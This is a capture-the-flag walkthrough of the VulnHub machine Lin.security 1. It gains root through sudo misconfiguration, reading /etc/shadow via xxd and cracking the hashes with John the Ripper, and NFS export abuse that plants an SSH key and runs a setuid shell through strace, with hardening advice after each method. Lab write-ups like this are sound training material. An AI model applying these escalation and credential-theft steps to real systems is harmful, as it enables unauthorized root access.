

CTF-LIN SECURITY 1

(<https://in.security/lin-security-practise-your-linux-privilege-escalation-foo/>)

Objective:-

Gain root access of the remote system.

Setting up the environment:-

Attacker machine: Kali Linux (64-bit)

IP Address: 10.0.5.5

```
root@mjolnir:~# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.0.5.5 netmask 255.255.255.0 broadcast 10.0.5.255
    inet6 fe80::a00:27ff:fec6:b39d prefixlen 64 scopeid 0x20<link>
    ether 08:00:27:c6:b3:9d txqueuelen 1000 (Ethernet)
    RX packets 11 bytes 1658 (1.6 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 29 bytes 2407 (2.3 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 20 bytes 1116 (1.0 KiB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 20 bytes 1116 (1.0 KiB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

[ipconfig command on the Attacking machine]

Target machine: Lin.security1

Same network as Kali Linux system.

Walkthroughs:-

1. Using sudo -i command
2. Exploiting the sudo privileges of normal users
3. Cracking root password
4. Exploiting the network file system

1. Using sudo -i command:-

- First, I did a ping sweep of the local network using nmap.

```
root@mjolnir:~# nmap -sP 10.0.5.0/24
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-27 21:09 EDT
Nmap scan report for 10.0.5.1
Host is up (0.00018s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.5.2
Host is up (0.000095s latency).
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)
Nmap scan report for 10.0.5.3
Host is up (0.000039s latency).
MAC Address: 08:00:27:DA:33:91 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.5.4
Host is up (0.00017s latency).
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.0.5.5
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 1.99 seconds
```

[ping sweep of network]

- Doing scans on 10.0.5.3 and 10.0.5.4, it was clear that the target machine (Lin.security1) had IP address: 10.0.5.4
- Doing an aggressive nmap scan of 10.0.5.4

```

root@mjolnir:~# nmap -A 10.0.5.4
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-27 21:10 EDT
Nmap scan report for 10.0.5.4
Host is up (0.00041s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|_   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_   256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp    open  rpcbind  2-4 (RPC #100000)
|_ rpcinfo:
|_   program version    port/proto  service
|_   100000    2,3,4      111/tcp     rpcbind
|_   100000    2,3,4      111/udp     rpcbind
|_   100003     3         2049/udp     nfs
|_   100003     3,4        2049/tcp     nfs
|_   100005    1,2,3      33345/tcp    mountd
|_   100005    1,2,3      49268/udp    mountd
|_   100021    1,3,4      37622/udp    nlockmgr
|_   100021    1,3,4      44341/tcp    nlockmgr
|_   100227     3         2049/tcp     nfs_acl
|_   100227     3         2049/udp     nfs_acl
2049/tcp   open  nfs_acl  3 (RPC #100227)
MAC Address: 08:00:27:D8:9F:D6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT      ADDRESS
1   0.41 ms  10.0.5.4

```

[Aggressive nmap scan of 10.0.5.4]

- As the scan shows, ports 22 (SSH), 111 (RPCBIND) and port 2049 (NFS_ACL 3) were open.
- I tried to ssh into the target with the given credentials: bob/secret

```

root@mjolnir:~# ssh bob@10.0.5.4
bob@10.0.5.4's password:
LIN.SECURITY
Welcome to lin.security | https://in.security | version 1.0
bob@linsecurity:~$

```

[ssh bob@10.0.5.4 with given credentials]

- It worked.
- Sudo -i command runs the shell with the target user's password as a login shell.
- By default, target user is not set and hence the system asks for the current users' password to login as root.

```
bob@linsecurity:~$ sudo -i
[sudo] password for bob:
root@linsecurity:~#
```

[logging in as root with bob's password]

- Thus, I was able to gain root access without knowing the root password, only the user's password.
- We can counter this by making root the target user.
- This would mean that the system would ask for the root user's password instead of the current user's password.
- Thus, even if the credentials of the normal users are compromised, the attacker can not gain root access with the `sudo -i` command unless he knows the root password.
- To make root user as the target user, we need to modify the `/etc/sudoers` file.
- Use the command: `visudo` to edit the file.

```
root@linsecurity:~# visudo
```

[visudo command to edit `/etc/sudoers` file]

- In the 'Defaults' entries, add Default targetpw entry to set root user as the target user.

```
GNU nano 2.9.3 /etc/sudoers.tmp Modified
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
Defaults    targetpw
# Host alias specification
# User alias specification
# Cmnd alias specification
Cmnd_Alias STRACE = /usr/bin/strace
Cmnd_Alias ALLTHETHINGS = /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/$
# User privilege specification
root    ALL=(ALL:ALL) ALL
peter   ALL=(ALL) NOPASSWD: STRACE
bob     ALL=(ALL) ALLTHETHINGS
# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

^G Get Help    ^O Write Out   ^W Where Is    ^K Cut Text    ^J Justify     ^C Cur Pos     M-U Undo
^X Exit        ^R Read File   ^\ Replace     ^U Uncut Text  ^T To Spell    ^_ Go To Line    M-E Redo
```


[Adding the entry: Defaults targetpw]

- Now if we try to use `sudo -i` command as normal user, it will ask for the root user's password.

```
bob@linsecurity:~$ sudo -i
[sudo] password for root:
Sorry, try again.
[sudo] password for root: █
```

[`sudo -i` command after making root user as the target user]

- Thus, even if we use the password of user Bob, the system will not grant root access as it requires root user's password.

2. Exploiting sudo privileges of normal users:-

- Sometimes, normal users need root privileges to run certain commands.
- For this purpose, we use `sudo` to escalate the privileges of normal users for certain tasks and programs.
- If we use the command: `sudo -l`, we can see the superuser privileges of the respective users.
- If we run `sudo -l` for user Bob, we can see the superuser privileges of user Bob.

```
bob@linsecurity:~$ sudo -l
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, targetpw

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed,
    /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more,
    /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim,
    /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
bob@linsecurity:~$ █
```

[Superuser privileges of user Bob]

- We can run any of these commands as superuser and gain root privileges.

```
bob@linsecurity:~$ sudo -l
[sudo] password for bob:
Matching Defaults entries for bob on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User bob may run the following commands on linsecurity:
    (ALL) /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/ed,
    /usr/bin/env, /usr/bin/expect, /usr/bin/find, /usr/bin/ftp, /usr/bin/less, /usr/bin/man, /bin/more,
    /usr/bin/scp, /usr/bin/socat, /usr/bin/ssh, /usr/bin/vi, /usr/bin/zsh, /usr/bin/pico, /usr/bin/rvim,
    /usr/bin/perl, /usr/bin/tclsh, /usr/bin/git, /usr/bin/script, /usr/bin/scp
bob@linsecurity:~$ sudo /bin/bash
root@linsecurity:~# whoami
root
root@linsecurity:~# █
```

[Gaining root privileges using superuser privileges]

- To prevent this, we can give `sudo` privileges to users only when and if required.
- If the users do not need `sudo` privileges at a certain time, they should be revoked.

- To change the sudo privileges, we again need to edit the /etc/sudoers file.

```
GNU nano 2.9.3 /etc/sudoers.tmp
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults      env_reset
Defaults      mail_badpass
Defaults      secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification
Cmnd_Alias STRACE = /usr/bin/strace
Cmnd_Alias ALLTHETHINGS = /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/$

# User privilege specification
root    ALL=(ALL:ALL) ALL
peter   ALL=(ALL) NOPASSWD: STRACE
bob     ALL=(ALL) ALLTHETHINGS

# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

[ Read 34 lines ]
^G Get Help      ^O Write Out     ^W Where Is      ^K Cut Text      ^J Justify       ^C Cur Pos       M-U Undo
^X Exit          ^R Read File     ^_ Replace       ^U Uncut Text    ^T To Spell     ^_ Go To Line     M-E Redo
```

[/etc/sudoers file]

- If we want to assign superuser privileges for certain commands, we can add an entry in the Cmnd_Alias section with a corresponding name.
- When a user wants to access all the services in a Cmnd_Alias, we can assign the respective Cmnd_Alias to the user in the User privilege specification section, and revoke it when the user no longer requires those privileges.

```
GNU nano 2.9.3 /etc/sudoers.tmp
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
Cmnd_Alias STRACE = /usr/bin/strace
Cmnd_Alias ALLTHEETHINGS = /bin/ash, /usr/bin/awk, /bin/bash, /bin/sh, /bin/csh, /usr/bin/curl, /bin/dash, /bin/$
# User privilege specification
root    ALL=(ALL:ALL) ALL
peter   ALL=(ALL) NOPASSWD: STRACE
#bob    ALL=(ALL) ALLTHEETHINGS
# Members of the admin group may gain root privileges
%admin   ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
[ Read 34 lines ]
^G Get Help  ^O Write Out  ^W Where Is  ^K Cut Text  ^J Justify    ^C Cur Pos    M-U Undo
^X Exit      ^R Read File  ^\ Replace   ^U Uncut Text ^T To Spell   ^_ Go To Line  M-E Redo
```

[Revoking privileges of user Bob]

- Now, as we have revoked the superuser privileges of user Bob, we can not get superuser privileges as user Bob.

```
bob@linsecurity:~$ sudo -l
Sorry, user bob may not run sudo on linsecurity.
bob@linsecurity:~$
```

[User Bob can not gain superuser privileges]

3. Cracking root password:-

- Now, if we visit the home directory, we can see that we have two other users: peter and susan with their respective directories.

```

bob@linsecurity:~$ ls
bob@linsecurity:~$ cd /home
bob@linsecurity:/home$ ls -la
total 20
drwxr-xr-x  5 root  root  4096 Jul  9 19:58 .
drwxr-xr-x 23 root  root  4096 Aug 28 01:11 ..
drwxr-xr-x  4 bob   bob   4096 Aug 28 01:20 bob
drwxr-xr-x  5 peter peter 4096 Jul 10 19:49 peter
drwxr-xr-x  2 susan susan 4096 Jul 10 08:04 susan
bob@linsecurity:/home$

```

[Contents of home directory]

- If we enter into directory susan, we can see that there is a .secret file.
- We can see the contents of this file.
- I tried to use these contents as the login password for susan and it worked.

```

bob@linsecurity:/home$ cd susan
bob@linsecurity:/home/susan$ ls
bob@linsecurity:/home/susan$ ls -la
total 24
drwxr-xr-x 2 susan susan 4096 Jul 10 08:04 .
drwxr-xr-x 5 root  root  4096 Jul  9 19:58 ..
-rw-r--r-- 1 susan susan  220 Jul  9 19:58 .bash_logout
-rw-r--r-- 1 susan susan 3771 Jul  9 19:58 .bashrc
-rw-r--r-- 1 susan susan  807 Jul  9 19:58 .profile
-rw-r--r-- 1 susan susan   20 Jul  9 19:57 .secret
bob@linsecurity:/home/susan$ cat .secret
MySuperS3cretValue!
bob@linsecurity:/home/susan$ su susan
Password:
susan@linsecurity:~$

```

[Logging in as Susan]

- The xxd command is used to make hex dumps of given files or standard inputs or to retrieve information from the given hex files.
- Under normal privileges, user Bob does not have permissions to run xxd command.

```

bob@linsecurity:/home/susan$ xxd
bash: /usr/bin/xxd: Permission denied
bob@linsecurity:/home/susan$

```

[User Bob does not have permissions for xxd command]

- However, user Susan has permissions to run xxd command under normal privileges.


```
susan@linsecurity:~$ xxd -h
Usage:
    xxd [options] [infile [outfile]]
    or
    xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]]
Options:
    -a          toggle autoskip: A single '*' replaces nul-lines. Default off.
    -b          binary digit dump (incompatible with -ps,-i,-r). Default hex.
    -c cols     format <cols> octets per line. Default 16 (-i: 12, -ps: 30).
    -E          show characters in EBCDIC. Default ASCII.
    -e          little-endian dump (incompatible with -ps,-i,-r).
    -g          number of octets per group in normal output. Default 2 (-e: 4).
    -h          print this summary.
    -i          output in C include file style.
    -l len      stop after <len> octets.
    -o off      add <off> to the displayed file position.
    -ps        output in postscript plain hexdump style.
    -r          reverse operation: convert (or patch) hexdump into binary.
    -r -s off   revert with <off> added to file positions found in hexdump.
    -s [+] [-]seek start at <seek> bytes abs. (or +: rel.) infile offset.
    -u          use upper case hex letters.
    -v          show version: "xxd V1.10 27oct98 by Juergen Weigert".
susan@linsecurity:~$
```

[User Susan running xxd command under normal privileges]

- Note that Susan does not have permissions to view /etc/shadow file.

```
susan@linsecurity:~$ cat /etc/shadow
cat: /etc/shadow: Permission denied
susan@linsecurity:~$
```

[User Susan can't view /etc/shadow file]

- However, Susan can create hex dumps of /etc/shadow with xxd command.

```
susan@linsecurity:~$ xxd /etc/shadow | xxd -r
```

[xxd command to create hex dumps of /etc/shadow file]

- We copy the output on leafpad of attacking system and save it as a text file.

```

root:$6$aorWKpxj$y0gku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9N1bQ0/NQb0r1Wzp2bTbpNQr1jNNlaGjXDu5Y
daemon*:17647:0:99999:7:::
bin*:17647:0:99999:7:::
sys*:17647:0:99999:7:::
sync*:17647:0:99999:7:::
games*:17647:0:99999:7:::
man*:17647:0:99999:7:::
lp*:17647:0:99999:7:::
mail*:17647:0:99999:7:::
news*:17647:0:99999:7:::
uucp*:17647:0:99999:7:::
proxy*:17647:0:99999:7:::
www-data*:17647:0:99999:7:::
backup*:17647:0:99999:7:::
list*:17647:0:99999:7:::
irc*:17647:0:99999:7:::
gnats*:17647:0:99999:7:::
nobody*:17647:0:99999:7:::
systemd-network*:17647:0:99999:7:::
systemd-resolve*:17647:0:99999:7:::
syslog*:17647:0:99999:7:::
messagebus*:17647:0:99999:7:::
apt*:17647:0:99999:7:::
lxd*:17647:0:99999:7:::
uidd*:17647:0:99999:7:::
dnsmasq*:17647:0:99999:7:::
landscape*:17647:0:99999:7:::
pollinate*:17647:0:99999:7:::
sshd*:17647:0:99999:7:::
bob:$6$Kk0DA.6Xha4nL2p5$jq7qoit2l4ckULg1ZxcbL5wUz2Ld2ZUa.RYaIMs.Lma0EFGheX9yCXfKy37K0GsHz50FYIqIESo4C
statd*:17721:0:99999:7:::
peter:$6$QpjS4vUG$Zi1KcJ7cRB8TJG9A/x7GhQQvJ0RoYwG4Jxj/6R58SJddU2X/QTQKNJWzwiByeTELKeyvS83kPsYITbTTn
susan:$6$5oSmm17K$0joeavcuzw4qxDJ2LsD1ablUIrFhycVoIXL3rxN/3q2lVpQ0KLufta5tqMRIh30Gb32IBp5yZ7XvBR6uX9/

```

[xxd command output]

- We repeat the same process for /etc/passwd file.

```
susan@linsecurity:~$ xxd /etc/passwd | xxd -r
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106:./home/syslog:/usr/sbin/nologin
messagebus:x:103:107:./nonexistent:/usr/sbin/nologin
_apt:x:104:65534:./nonexistent:/usr/sbin/nologin
lxd:x:105:65534:./var/lib/lxd:/bin/false
uuid:x:106:110:./run/uuid:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112:./var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1:./var/cache/pollinate:/bin/false
sshd:x:110:65534:./run/sshd:/usr/sbin/nologin
bob:x:1000:1004:bob:/home/bob:/bin/bash
statd:x:111:65534:./var/lib/nfs:/usr/sbin/nologin
peter:x:1001:1005:./home/peter:/bin/bash
insecurity:AzER3pBZh6WZE:0:0:./bin/sh
susan:x:1002:1006:./home/susan:/bin/rbash
susan@linsecurity:~$
```

[xxd command on /etc/passwd file]

- From the passwd file, we can see that user insecurity logs in directly as root.
- We unshadow the copies of shadow and passwd files made on the attacking system.

```
root@mjolnir:~/Desktop# unshadow passwd.txt shadow.txt > crypt
```

[unshadow command]

- We then perform a dictionary based brute force attack on the output file crypt with John The Ripper.

```
root@mjolnir:~/Desktop# john crypt
```

[Performing the bruteforce attack]

- We obtain the combinations:-
 - Bob:secret
 - insecurity:P@ssword
 - Root:secret123
- We can log in directly as root with the password secret123
- We can also log in as root with user insecurity.

```
susan@linsecurity:~$ su insecurity
Password:
# whoami
root
#
```

[Logging in as root with user insecurity]

- To avoid these attacks, we first have to restrict permissions granting users to access other users' directories.
- We should deny permissions to xxd when not required.
- We must not create users that login directly as root.
- We must use passwords with strong encryption.

4. Exploiting the Network File System:-

- Network File System allows machines to share files and directories with other systems on the local network.
- During port scanning, we saw the nfs system to be active on the target.
- Running showmount command to see the shared directory on the target:-

```
root@mjolnir:~# showmount -e 10.0.5.4
Export list for 10.0.5.4:
/home/peter *
```

[showmount command]

- Now we make a directory on the desktop of the attacking machine and mount the shared directory on the created directory.


```

root@mjolnir:~# cd Desktop
root@mjolnir:~/Desktop# mkdir box2
root@mjolnir:~/Desktop# ls
box2  crypt  passwd.txt  shadow.txt
root@mjolnir:~/Desktop# mount -t nfs 10.0.5.4:/home/peter /root/Desktop/box2
root@mjolnir:~/Desktop# ls -la
total 24
drwxr-xr-x  3 root   root  4096 Aug 27 21:36 .
drwxr-xr-x 18 root   root  4096 Aug 27 21:29 ..
drwxr-xr-x  5 peter 1005  4096 Jul 10 15:49 box2
-rw-r--r--  1 root   root  2127 Aug 27 21:29 crypt
-rw-r--r--  1 root   root  1731 Aug 27 21:28 passwd.txt
-rw-r--r--  1 root   root  1306 Aug 27 21:27 shadow.txt
root@mjolnir:~/Desktop# cd box2
root@mjolnir:~/Desktop/box2# ls -la
total 32
drwxr-xr-x  5 peter 1005  4096 Jul 10 15:49 .
drwxr-xr-x  3 root   root  4096 Aug 27 21:36 ..
-rw-r--r--  1 peter 1005   220 Jul  9 15:53 .bash_logout
-rw-r--r--  1 peter 1005 3771 Jul  9 15:53 .bashrc
drwx-----  2 peter 1005  4096 Jul 10 06:04 .cache
-rw-rw-r--  1 peter 1005     0 Jul 10 06:04 .cloud-locale-test.skip
drwx-----  3 peter 1005  4096 Jul 10 06:04 .gnupg
drwxrwxr-x  3 peter 1005  4096 Jul 10 04:03 .local
-rw-r--r--  1 peter 1005   807 Jul  9 15:53 .profile
root@mjolnir:~/Desktop/box2#

```

[Mounting shared directory on the attacking system]

- Here, we see that root user of the target system as well as user with uid 1001 or gid 1005 can read/write/execute on the shared directory.
- Hence, we create a user with uid 1001 locally.

```

root@mjolnir:~/Desktop/box2# useradd -u 1001 peter
root@mjolnir:~/Desktop/box2# mkdir .ssh
mkdir: cannot create directory '.ssh': Permission denied
root@mjolnir:~/Desktop/box2# su peter
$ ls
$ whoami
peter
$ cd /
$ ls  crypt
0  boot  etc  initrd.img  lib  lost+found  mnt  proc  run  srv  tmp  var  vmlinuz.old
bin  dev  home  initrd.img.old  lib64  media  opt  root  sbin  sys  usr  vmlinuz
$ cd /root/Desktop/box2
$ ls
$ mkdir .ssh
$

```

[Creating local user peter with uid 1001]

- We now create .ssh directory on the mounted partition and generate the ssh keys.

```

$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): /root/Desktop/box2
/root/Desktop/box2 already exists.
Overwrite (y/n)? n
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): /root/Desktop
/root/Desktop already exists.
Overwrite (y/n)? n
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/peter/.ssh/id_rsa): /root/Desktop/box2/f1
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /root/Desktop/box2/f1.
Your public key has been saved in /root/Desktop/box2/f1.pub.
The key fingerprint is:
SHA256:fw5oVt/biYEF93VKv8Z5qESmWSLW/i09MYcktKXmvEY peter@mjolnir
The key's randomart image is:
+----[RSA 2048]---+
|           . . . |
|          . +   |
|         .*.o o |
|        . *o=.+o |
|       S + E.o+o |
|      . &o+.=* |
|     *.*.=*= |
|    o + .+.* |
|   .. o. |
+-----[SHA256]-----+
$

```

[Generating ssh private and public keys]

- The public key generated is f1.pub and the private key is f1.

```

$ ls
f1 f1.pub
$ cat f1.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQ76DKrJj1W+ZHCbW6yUhs0KM26gzibxhc1Ayc/RUDYtCuUubxX6RgH4zCmqHC3tp5s9KYzTGAL
NwIcYe6XIk76a/ZPiIpI2hu9fH20URiiCNEcumWSJc5bF7fkFnW4L00gr9DvhEcKDXBib3vquvozzTx2EHHPUKP9tw0LRfYLGensnWxwm36zPiTi
d0yB220FZw7Xf+6zTOMiVZUEQmjsqCc0Zgt1diQy5jQw4njsSIafrQDf0IGNqcgJ7aQrIVHhGkU0LRq4M0rKPPR11UH0htiNuQu770y3j5Kaes0
j092kVEzfhim0S0hB0wZizKjI+8N8F573KiYSEKr49cX peter@mjolnir
$

```

[ssh public key f1.pub]

- Now, we make the public key as part of the authorized_keys.

```

$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAQ76DKrJj1W+ZHCbW6yUhs0KM26gzibxhc1Ayc/RUDYtCuUubxX6RgH4zCmqHC3tp5s9
KYzTGALNwIcYe6XIk76a/ZPiIpI2hu9fH20URiiCNEcumWSJc5bF7fkFnW4L00gr9DvhEcKDXBib3vquvozzTx2EHHPUKP9tw0LRfYLGensnWxwm
36zPiTid0yB220FZw7Xf+6zTOMiVZUEQmjsqCc0Zgt1diQy5jQw4njsSIafrQDf0IGNqcgJ7aQrIVHhGkU0LRq4M0rKPPR11UH0htiNuQu770y3
j5Kaes0j092kVEzfhim0S0hB0wZizKjI+8N8F573KiYSEKr49cX peter@mjolnir > /root/Desktop/box2/.ssh/authorized_keys
$

```

[Adding f1.pub to authorized_keys]

- Now we try to ssh in the target system as user peter with the newly generated keys.

- Syntax: `ssh -i <path of private key> peter@10.0.5.4`

```
$ ssh -i /root/Desktop/box2/fl1 peter@10.0.5.4
Could not create directory '/home/peter/.ssh'.
The authenticity of host '10.0.5.4 (10.0.5.4)' can't be established.
ECDSA key fingerprint is SHA256:I+wq8xJMLaf4EveLeaB70dPi9oP2lx9jU0cJ2Cx9ngQ.
Are you sure you want to continue connecting (yes/no)? yes
Failed to add the host to the list of known hosts (/home/peter/.ssh/known_hosts).
Enter passphrase for key '/root/Desktop/box2/fl1':
```

```
lin.security
Welcome to lin.security | https://in.security | version 1.0
peter@linsecurity:~$
```

[Successful ssh into the target system with newly generated ssh keys]

- We check the sudo privileges of user peter with the command: `sudo -l`

```
peter@linsecurity:~$ sudo -l
Matching Defaults entries for peter on linsecurity:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User peter may run the following commands on linsecurity:
    (ALL) NOPASSWD: /usr/bin/strace
peter@linsecurity:~$
```

[Checking sudo privileges of user peter]

- We see that user peter can run strace command, which is used for tracing system calls, as root.
- So we write an strace code on the target system.

```
GNU nano 2.9.3

#include<stdlib.h>
#include<unistd.h>
int main()
{
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

[Strace code]

- We compile the code for errors.


```

peter@linsecurity:~$ ls
f1 f1.pub pinser.c
peter@linsecurity:~$ gcc pinser.c -o pinser
peter@linsecurity:~$ ls
f1 f1.pub pinser pinser.c
peter@linsecurity:~$ █

```

[Compiling the strace code]

- Finally, we run the strace code.

```

root@linsecurity:~# sudo strace ./pinser 2>/dev/null
whoami
root
█

```

[Gaining root privileges with the strace code]

- Thus, we have gained root privileges.
- To prevent these types of attacks, do not mount directories and files on the NFS if they do not need to be shared.
- Also, make sure that the permissions on the shared resources are set accordingly.
- Also, restrict granting sudo privileges when not required.

RESOURCES:-

Lin.security1 machine: <https://www.vulnhub.com/entry/linsecurity-1,244/>
(vulnhub.com)

Walkthrough by Peerlyst: <https://www.peerlyst.com/posts/vulnhub-ctf-walkthroughs-motasem-hamdan>

Sudo man page: <https://www.sudo.ws/man/1.8.3/sudo.man.html>

Linux Tips: Password usage in sudo: <http://www.ducea.com/2006/06/18/linux-tips-password-usage-in-sudo-passwd-nopasswd/>